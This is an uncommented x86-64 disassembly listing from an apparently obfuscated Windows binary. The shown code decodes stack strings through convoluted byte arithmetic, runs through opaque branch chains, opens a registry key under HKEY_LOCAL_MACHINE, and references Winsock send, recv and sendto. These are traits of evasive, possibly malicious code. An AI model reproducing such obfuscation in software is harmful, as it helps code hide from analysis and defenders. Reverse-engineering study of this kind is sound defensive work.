cmp rcx, rax
jb 0x1400db871
lea rax, [r9 + 5]
cmp rcx, rax
jb 0x1400db855
lea rax, [r9 + 8]
cmp rcx, rax
jb 0x1400db065
lea rax, [r9 + 0x3e8]
cmp rcx, rax
jb 0x1400db04c
lea rax, [r9 + 0x1000]
cmp rcx, rax
jb 0x1400db033
lea rax, [r9 + 6]
cmp rcx, rax
jb 0x1400db218
lea rcx, [r9 + 9]
cmp r8, rcx
jb 0x1400db1b2
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400db18c
lea r9, [rcx + 0xa]
mov r8, rcx
lea rax, [r9 + 0x400]
cmp rcx, rax
ja 0x1400db15b
lea rax, [r9 + 0x61]
cmp rcx, rax
ja 0x1400db13b
lea rax, [r9 + 8]
cmp rcx, rax
ja 0x1400db121
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x1400db101
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x1400db0e5
lea rax, [r9 + 0x7a]
cmp rcx, rax
ja 0x1400db0c8
lea rax, [r9 + 9]
cmp rcx, rax
ja 0x1400db0a6
lea rax, [r9 + 0x10]
cmp rcx, rax
ja 0x1400db07e
lea rax, [r9 + 0x41]
cmp rcx, rax
ja 0x1400daeb0
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0xa]
jmp 0x1400daeb0
lea edx, [r10 - 0x6f]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
add dl, 9
add dl, r11b
jmp 0x1400daea0
lea edx, [r10 - 0x15]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
sub dl, 0x6d
add dl, r11b
jmp 0x1400dae40
lea edx, [r10 + 0x45]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
add dl, 0x1d
add dl, r11b
jmp 0x1400dadd0
sub r10b, 0x2e
mov edx, reloc.WLDAP32.dll_Ordinal_33
movzx eax, r10b
inc r9
and al, r11b
dec rbx
sub dl, al
add dl, dl
add dl, r10b
add dl, r11b
inc rbx
jmp 0x1400dadb3
add r10b, 0x2c
dec rbx
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x34
inc rbx
jmp 0x1400dadb3
lea edx, [r10 - 0x7a]
mov ecx, Ordinal_45
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400db643
sub r10b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x20
jmp 0x1400db78d
add r10b, 0x3a
mov ecx, gethostname
movzx eax, r10b
and al, r11b
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400db790
lea ecx, [r10 - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0xc
jmp 0x1400db7bd
sub r10b, 0x12
mov ecx, 0x3f
movzx eax, r10b
and al, r11b
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400db7e8
add r10b, 0x48
mov ecx, 4
movzx eax, r10b
and al, r11b
sub cl, al
movzx eax, byte [rbp + rbx + 0x90]
add rax, r9
add rbx, rax
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc rbx
jmp 0x1400dadb3
add r10b, 0x29
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x1f
mov byte [rbp + rbx + 0x90], dl
inc rbx
jmp 0x1400dadb3
lea ecx, [r10 - 0x23]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0xb
cmp r8, 0x20
jae 0x1400db62c
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x1400db579
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x1a
cmp r9, 2
jb 0x1400db1a3
lea ecx, [r10 + 0x12]
mov edx, 1
movzx eax, cl
and al, r11b
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
add dl, dl
jmp 0x1400db702
lea ecx, [r10 + 0x37]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x7f
lea rax, [r9 + r8]
cmp rax, 0x20
je 0x1400db66a
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x1400db484
lea ecx, [r10 + 0x47]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0xf
jmp 0x1400db1c7
add r10b, 0x34
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x6c
jmp 0x1400db7e8
lea edx, [r10 - 0x72]
mov ecx, reloc.WS2_32.dll_ntohs
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400db7bd
sub r10b, 0x18
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x58
jmp 0x1400db790
add r10b, 0x42
mov ecx, Ordinal_26
movzx eax, r10b
and al, r11b
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400db78d
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x44
jmp 0x1400db643
sub r10b, 0xa
mov ecx, reloc.WLDAP32.dll_Ordinal_35
movzx eax, r10b
dec rbx
and al, r11b
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc rbx
jmp 0x1400dadb3
add r10b, 0x50
inc r9
movzx eax, r10b
dec rbx
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x30
inc rbx
jmp 0x1400dadb3
lea edx, [r10 - 0x56]
mov ecx, reloc.WLDAP32.dll_Ordinal_45
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400db702
lea rax, [r9 + 6]
cmp r8, rax
jae 0x1400db37c
lea ecx, [r10 - 0x2d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x3b
jmp 0x1400db22d
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400db3b2
sub r10b, 0x62
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
movzx eax, byte [rbp + rbx + 0x90]
add rax, r9
add rbx, rax
lea edx, [r11 + r10]
sub dl, 0x52
inc rbx
jmp 0x1400dadb3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400db3d5
lea ecx, [r10 - 0x16]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x66
jmp 0x1400db7bd
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400db3fe
sub r10b, 0x70
mov ecx, 8
movzx eax, r10b
and al, r11b
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400db790
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400db423
add r10b, 0x36
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x7a
jmp 0x1400db78d
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400db452
sub r10b, 0x7e
mov ecx, reloc.WS2_32.dll_gethostname
movzx eax, r10b
dec rbx
and al, r11b
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc rbx
jmp 0x1400dadb3
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400db22d
add r10b, 0x28
inc r9
movzx eax, r10b
dec rbx
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x18
inc rbx
jmp 0x1400dadb3
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400db4a7
lea ecx, [r10 - 0x13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7b
jmp 0x1400db702
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400db4d2
add r10b, 0x39
dec rbx
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x71
inc rbx
jmp 0x1400dadb3
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400db4f7
add r10b, 0x2b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x2d
jmp 0x1400db790
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400db51a
lea ecx, [r10 - 0x2f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x49
jmp 0x1400db7bd
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400db53f
add r10b, 0x77
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x41
jmp 0x1400db7e8
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400db1c7
add r10b, 0x1d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
movzx eax, byte [rbp + rbx + 0x90]
add rax, r9
add rbx, rax
lea edx, [r11 + r10]
add dl, 0x35
inc rbx
jmp 0x1400dadb3
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400db5b3
add r10b, 0x3c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
movzx eax, r10b
and al, r11b
sub cl, al
movzx eax, byte [rbp + rbx + 0x90]
add rax, r9
add rbx, rax
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc rbx
jmp 0x1400dadb3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400db5d9
lea edx, [r10 - 0x78]
mov ecx, 0x24
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400db7bd
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400db5f9
lea ecx, [r10 + 0x7a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x56
jmp 0x1400db643
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400db1f3
add r10b, 0x20
mov ecx, reloc.WS2_32.dll_recv
movzx eax, r10b
dec rbx
and al, r11b
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc rbx
jmp 0x1400dadb3
lea edx, [r10 - 0x48]
movzx ecx, r11b
movzx eax, dl
sub dl, 8
and al, r11b
sub cl, al
add cl, cl
add dl, cl
sub r10b, 0x75
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
add r10b, 0x33
add r10b, dl
add r10b, r11b
mov byte [rbp + rbx + 0x90], r10b
jmp 0x1400db78d
lea edx, [r10 + 0x5e]
mov ecx, gethostname
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
jmp 0x1400db7bd
lea ecx, [r10 - 0x27]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x11
jmp 0x1400db7bd
add r10b, 0x33
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x65
jmp 0x1400db790
sub r10b, 0x73
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x25
jmp 0x1400db78d
lea ecx, [r10 - 0xb]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x4d
jmp 0x1400db702
lea ecx, [r10 - 0x57]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x61
sub r10b, 0x1b
inc r9
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x43
add r10b, r11b
mov byte [rbp + rbx + 0x90], r10b
dec rbx
inc rbx
jmp 0x1400dadb3
add r10b, 3
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x15
inc r9
dec rbx
inc rbx
jmp 0x1400dadb3
add r10b, 0x5d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x75
dec rbx
inc rbx
jmp 0x1400dadb3
add r10b, 0x11
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x77
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400dadb3
lea ecx, [r10 - 0x3b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x63
add r10b, 0x31
inc r9
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x57
add r10b, r11b
movzx eax, r10b
mov byte [rbp + rbx + 0x90], al
add rax, r9
sub rbx, rax
lea ecx, [rbx + 4]
inc r8
movzx eax, cl
and al, r11b
add al, al
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub cl, 0x1c
add cl, r11b
mov byte [rbp + rbx + 0x90], cl
add rbx, rax
movzx eax, byte [rbp + rbx + 0x90]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400dadb3
add r10b, 0x79
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x4f
movzx eax, byte [rbp + rbx + 0x90]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400dadb3
sub r10b, 0x61
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x59
jmp 0x1400dadb0
sub r10b, 7
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x31
jmp 0x1400dada0
lea rdx, [rbp + 0x15e3254]
jmp 0x1400db8a6
lea rdx, [rbp + 0xa6ee27]
jmp 0x1400db8a6
lea rdx, [rbp + 0x90]
lea rax, [rbp + 0x260]
mov r9d, 3
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400de374
movzx edx, byte [rbp + 0x250]
xorps xmm0, xmm0
xor eax, eax
mov dword [rbp - 0x80], 0x595b5771
movups xmmword [rbp - 0x78], xmm0
mov dword [rbp - 0x68], eax
mov dword [rbp - 0x7c], 0x3f585a56
mov r8, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
mov rbx, r14
cmp rbx, 0x1c
jae 0x1400dc3f2
movzx r10d, byte [rbp + rbx - 0x80]
movzx r11d, bl
cmp r8, rbx
ja 0x1400dc3e9
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400db93f
lea edx, [r11 - 0x59]
movzx eax, dl
and al, r10b
add al, al
sub dl, al
add dl, 0x6f
add dl, r10b
jmp 0x1400db970
je 0x1400dc37e
inc rax
cmp r8, rax
je 0x1400dc32d
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400dc2de
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400dc29f
nop dword [rax + rax]
cmp r9, rbx
ja 0x1400dc3e0
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400db998
lea edx, [r11 - 0x4d]
movzx eax, dl
and al, r10b
add al, al
sub dl, al
add dl, 0x1b
add dl, r10b
jmp 0x1400db9e0
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400dc288
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400dc26c
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400dc250
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400dc20e
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400dc1e4
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400dbf1b
nop dword [rax]
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400dbeff
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400dbeda
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400dbeb4
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400dbe97
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400dbe77
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400dbe57
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400dbe3b
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400dbe1d
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x1400dbdf3
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400db9f0
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x28]
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400dc3c4
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400dc3a8
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400dbbc3
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400dbbaa
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400dbb91
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400dbda8
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400dbd61
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400dbd24
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400dbd01
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400db9f0
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x10]
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400dbcd7
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400dbcb9
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400dbc9d
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400dbc81
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400dbc61
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400dbc44
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400dbc1f
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400dbbf8
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400dbbdc
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400db9f0
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x200]
jmp 0x1400db9f0
lea edx, [r11 - 0x53]
movzx eax, dl
and al, r10b
add al, al
sub dl, al
add dl, 0x45
add dl, r10b
jmp 0x1400db9e0
lea edx, [r11 + 0x5f]
movzx eax, dl
and al, r10b
add al, al
sub dl, al
add dl, 0x67
add dl, r10b
jmp 0x1400db970
lea edx, [r11 + 0x11]
movzx eax, dl
and al, r10b
add al, al
sub dl, al
sub dl, 0x77
add dl, r10b
jmp 0x1400db917
lea ecx, [r11 - 0x68]
movzx eax, r10b
and al, cl
movzx edx, r10b
add al, al
sub dl, al
sub dl, 0x28
add dl, cl
jmp 0x1400dc2b4
add r11b, 0x4a
movzx eax, r10b
and al, r11b
movzx edx, r10b
add al, al
inc r9
sub dl, al
dec rbx
sub dl, 6
add dl, r11b
inc rbx
jmp 0x1400db903
sub r11b, 4
movzx eax, r10b
and al, r11b
mov edx, reloc.WS2_32.dll_ntohl
sub dl, al
dec rbx
add dl, dl
add dl, r10b
add dl, r11b
inc rbx
jmp 0x1400db903
lea edx, [r11 - 0x52]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_35
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400dc2f3
add r11b, 0x60
mov ecx, Ordinal_50
movzx eax, r10b
and al, r11b
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400dc312
add r11b, 0x12
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x7e
jmp 0x1400dc315
lea edx, [r11 - 0x3c]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub dl, 0x5c
sub cl, al
add dl, cl
jmp 0x1400dc223
add r11b, 0x76
movzx eax, r10b
and al, r11b
movzx edx, r10b
add al, al
sub dl, al
sub dl, 0x3a
add dl, r11b
jmp 0x1400dc344
add r11b, 0x28
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
movzx eax, byte [rbp + rbx - 0x80]
add rax, r9
add rbx, rax
lea edx, [r11 + r10]
sub dl, 0x18
inc rbx
jmp 0x1400db903
sub r11b, 0x1b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x43
mov byte [rbp + rbx - 0x80], dl
inc rbx
jmp 0x1400db903
lea edx, [r11 - 0x69]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
sub dl, 0x21
add dl, cl
cmp r9, 0x41
jb 0x1400dbd18
lea edx, [r11 - 0x76]
mov ecx, Ordinal_30
movzx eax, r10b
and al, dl
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x1400dc2b4
lea edx, [r11 + 0x49]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
inc dl
add dl, cl
cmp r8, 0x80
jae 0x1400dc1b5
lea rax, [r9 + 4]
cmp r8, rax
jbe 0x1400dc0ac
lea edx, [r11 + 0x7e]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
sub dl, 0x72
jmp 0x1400dbd39
lea edx, [r11 - 5]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
add dl, 0x23
sub cl, al
add dl, cl
lea rax, [r9 + r8]
cmp rax, 0x3e8
je 0x1400dc1d1
lea rax, [r9 + 6]
cmp r8, rax
jbe 0x1400dbfe7
lea edx, [r11 - 0x35]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub cl, al
add dl, 0x73
jmp 0x1400dbd75
add r11b, 0x32
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
movzx eax, byte [rbp + rbx - 0x80]
add rax, r9
add rbx, rax
lea edx, [r11 + r10]
sub dl, 0x5e
inc rbx
jmp 0x1400db903
sub r11b, 0x1c
movzx eax, r10b
and al, r11b
movzx edx, r10b
add al, al
sub dl, al
sub dl, 0x3c
add dl, r11b
jmp 0x1400dc344
lea edx, [r11 - 0x6a]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub dl, 0x1a
sub cl, al
add dl, cl
jmp 0x1400dc223
add r11b, 0x48
mov ecx, 4
movzx eax, r10b
and al, r11b
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400dc315
sub r11b, 6
mov ecx, reloc.WS2_32.dll_setsockopt
movzx eax, r10b
and al, r11b
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400dc312
lea edx, [r11 - 0x54]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400dc2f3
add r11b, 0x5e
mov ecx, gethostname
movzx eax, r10b
dec rbx
and al, r11b
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc rbx
jmp 0x1400db903
add r11b, 0x10
movzx eax, r10b
and al, r11b
inc r9
add al, al
dec rbx
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x70
inc rbx
jmp 0x1400db903
lea edx, [r11 - 0x3e]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub dl, 0x4e
sub cl, al
add dl, cl
jmp 0x1400dc2b4
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400dbf3e
lea ecx, [r11 - 0x59]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x6f
jmp 0x1400dbdbf
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400dbf75
add r11b, 0x66
mov ecx, reloc.WLDAP32.dll_Ordinal_27
movzx eax, r11b
and al, r10b
sub cl, al
movzx eax, byte [rbp + rbx - 0x80]
add rax, r9
add rbx, rax
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
inc rbx
jmp 0x1400db903
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400dbf98
lea ecx, [r11 + 2]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0xe
jmp 0x1400dc223
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400dbfbd
sub r11b, 0x62
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x52
jmp 0x1400dc312
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400dbdbf
lea edx, [r11 - 0x2a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400dc2b4
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400dc00c
lea edx, [r11 + 0x19]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
add dl, 0x51
sub cl, al
add dl, cl
jmp 0x1400dc2b4
inc rax
cmp r8, rax
jne 0x1400dc039
add r11b, 0x67
movzx eax, r10b
and al, r11b
inc r9
add al, al
dec rbx
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x2f
inc rbx
jmp 0x1400db903
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400dc05e
add r11b, 0x51
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x37
jmp 0x1400dc312
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400dc083
sub r11b, 0x61
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x59
jmp 0x1400dc315
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400dbd77
lea edx, [r11 - 0x13]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub dl, 0x7b
sub cl, al
add dl, cl
jmp 0x1400dc223
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400dc0e3
sub r11b, 0x34
movzx eax, r10b
and al, r11b
mov ecx, gethostname
sub cl, al
movzx eax, byte [rbp + rbx - 0x80]
add rax, r9
add rbx, rax
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc rbx
jmp 0x1400db903
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400dc109
lea edx, [r11 + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400dc223
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400dc12e
lea edx, [r11 + 0x52]
movzx eax, r10b
and al, dl
movzx ecx, r10b
add al, al
sub dl, 0x3e
sub cl, al
add dl, cl
jmp 0x1400dc2f3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400dc159
sub r11b, 0x60
movzx eax, r10b
and al, r11b
dec rbx
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x60
inc rbx
jmp 0x1400db903
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400dc18b
sub r11b, 0x12
mov ecx, 0x3f
movzx eax, r10b
inc r9
and al, r11b
dec rbx
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc rbx
jmp 0x1400db903
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400dbd3b
lea edx, [r11 + 0x3c]
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400dc2b4
lea edx, [r11 - 0x28]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0xc
add cl, cl
add dl, cl
jmp 0x1400dc2f3
lea ecx, [r11 + 0x26]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [rcx - 0xa]
jmp 0x1400dc223
add r11b, 0x71
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
movzx eax, byte [rbp + rbx - 0x80]
add rax, r9
add rbx, rax
lea edx, [r10 + r11]
sub dl, 0x17
inc rbx
jmp 0x1400db903
lea ecx, [r11 - 0x2b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x2d
sub r11b, 0x33
inc r9
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
add r11b, 0x65
add r11b, r10b
movzx eax, r11b
mov byte [rbp + rbx - 0x80], al
add rax, r9
sub rbx, rax
jmp 0x1400dc344
sub r11b, 0x79
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x4f
jmp 0x1400dc315
add r11b, 0x39
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x71
jmp 0x1400dc312
lea ecx, [r11 + 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 7
jmp 0x1400dc2b4
lea ecx, [r11 + 0x65]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x3d
add r11b, 0x31
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x57
add r11b, r10b
mov byte [rbp + rbx - 0x80], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400db903
lea ecx, [r11 + 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x5d
add r11b, 0x7f
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x79
add r11b, dl
add r11b, r10b
mov byte [rbp + rbx - 0x80], r11b
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400db903
add r11b, 0x43
movzx eax, r11b
